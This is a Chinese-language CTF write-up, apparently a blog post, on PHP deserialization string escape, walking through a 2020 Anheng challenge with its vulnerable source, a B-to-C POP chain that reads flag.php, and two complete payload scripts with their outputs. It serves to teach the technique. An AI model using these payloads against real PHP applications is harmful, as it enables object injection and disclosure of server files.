聊一聊PHP反序列化中的字符逃逸

2020安恒4月月赛的一道反序列化字符串逃逸

题目分析

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

首先class B和C是一个简单的pop链,很容易构造出

1
2
3
4
5
6
7
8
9
10
11
12
13
class B{
function __construct() {
$this-> b = new C();
}
}
class C{
function __construct() {
$this-> c = "flag.php";
}
}
$b=new B();
echo serialize($b);

我们只要想办法将输出O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}进行反序列化即可
前面我们还说过php的2个特性

1
2
1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
2.对类中不存在的属性也会进行反序列化

居然类中不存在属性也会被反序列化我们这样测试
echo serialize(new A("st4ck", "123qwe"));
发现输出了O:1:"A":2:{s:8:"username";s:5:"st4ck";s:8:"password";s:6:"123qwe";}
我们需要把O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}并入上面的代码

O:1:"A":2:{s:8:"username";s:5:"st4ck";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
从代码的角度看就是

1
2
$b=new B();
$user=new User("st4ck",$b);

那我们就写出来了对不对
但是这个反序列化的字符串并不是我们输入的,而是通过get传入

1
2
$a = new A($_GET['a'],$_GET['b']);
$b = unserialize(read(write(serialize($a))));

如此一来,我们就不能通过这样的方法了

逃逸姿势

字符逃逸的精髓

1
如果长度变长,那么我们就是在前面一项添加数据,如果长度变小,那么我们在后面一项添加数据

这里如果给了read()和write()2个函数的话,那么肯定也会有两种payload,但是因为这里的是$b = unserialize(read(write(serialize($a))));如果利用了write会直接被read还原,但是理论上如果只用write函数即$b = unserialize(write(serialize($a)));,我们就可以在username上添加shellcode实现。而使用两个嵌套我们必须使用外层的方法,也正是因为里面的未调用,只调用了外面的导致长度变化

payload-利用read()函数-后一项添加数据

我们假设先利用read()函数,我们发现read函数将6个字符变成了3个字符str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);,那么如此我们就是要将需要反序列化的数据丢第二项后面,当第一项长度减小时候,相当于吞并了第二项,导致我们需要反序列化的数据成功反序列化,

如果要吞并即使将S1=O:1:"A":2:{s:8:"username";s:5:"st4ck";s:8:"password";s:6:"123qwe";}后面多加一个属
性那么我们要吞并S2=";s:8:"password";s:6:"
然后shellcode后面要有完整的数据S3=";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
将变成我们要做的是

1
2
S1-S2
123qwe替换成S3

O:1:"A":2:{s:8:"username";s:5:"st4ck";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}那么理论上是ok的了
现在涉及到
我们发现要吞并的S2(";s:8:"password";s:6:")长度为22,但是我们真实环境不是这样的

问题1、我们的s1是通过serialize(new A("st4ck", "123qwe"));完成,如果我们添加了很多shellcode在password里面,那么S1中password的长度就不是个位数,比如是20那么S2=";s:8:"password";s:20:",这样就是S2长度就是22+1
问题2、我们通过read函数来减少用户名,read函数没经过一次是减小3个字节,那么我们一定要是3个倍数,我们可以去3*8=24,经过8次往前缩进了24个字符,我们可以在S3前面增加一个A,因为S3前面的的数据最后是合并在用户名里的,刚好做补充,8次即24个\0,注意转码
那么我们可以构造通过read()函数写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){

return $this->c;
}
}

class A
{
public $username;
public $password;

public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}

}
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";//24个\\0
$password = "A";
$payload = '";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
$shellcode=$password.$payload;
echo serialize(new A($username, $shellcode));
echo "\n";
echo read(write(serialize(new A($username, $shellcode))));
echo "\n";
unserialize(read(write(serialize(new A($username, $shellcode)))));

输出

1
2
3
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:73:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
O:1:"A":2:{s:8:"username";s:48:" * * * * * * * * ";s:8:"password";s:73:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";}
aflag.php

因为\0是不可见,下面的**中间可能有的环境下看起来没有东西,这里为了方便改写了输出flag,但是payload是一样的
其实看输出我们就能发现username吸收了一部分payload导致我们成功注入的内涵

如果只用了write()函数-在前一项添加数据

偏移我动态调整了(真鸡儿和栈溢出算位移差不多)

只用write的意思是反序列化的时候unserialize(write(serialize(new A($shellcode, $password))));
其实难度就是来计算一下偏移了,计算方法,我们的shellcode$payload = '";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}' 长度为72,那么我们要24组chr(0) . '*' . chr(0)即24组\0*\0\0*\0\0*\0,因为我们是覆盖username,那么password可以随意填

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c;
function __toString(){
return $this->c;
}
}

class A
{
public $username;
public $password;

public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}

}

function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

$username = "\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";//24组\0*\0\0*\0\0*\0
$password = "A";
$payload = '";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}';
$shellcode=$username.$payload;
echo serialize(new A($shellcode, $password));
echo "\n";
echo write(serialize(new A($shellcode, $password)));
echo "\n";
unserialize(write(serialize(new A($shellcode, $password))));

输出

1
2
3
O:1:"A":2:{s:8:"username";s:144:"************************";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:6:"123123";}
O:1:"A":2:{s:8:"username";s:144:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}";s:8:"password";s:6:"123123";}
aflag.php

总结

感觉安全的各种知识都是相通的,xss,sql注入,栈溢出,pwn找gadget都有差不多的内涵
学习,学的是学习能力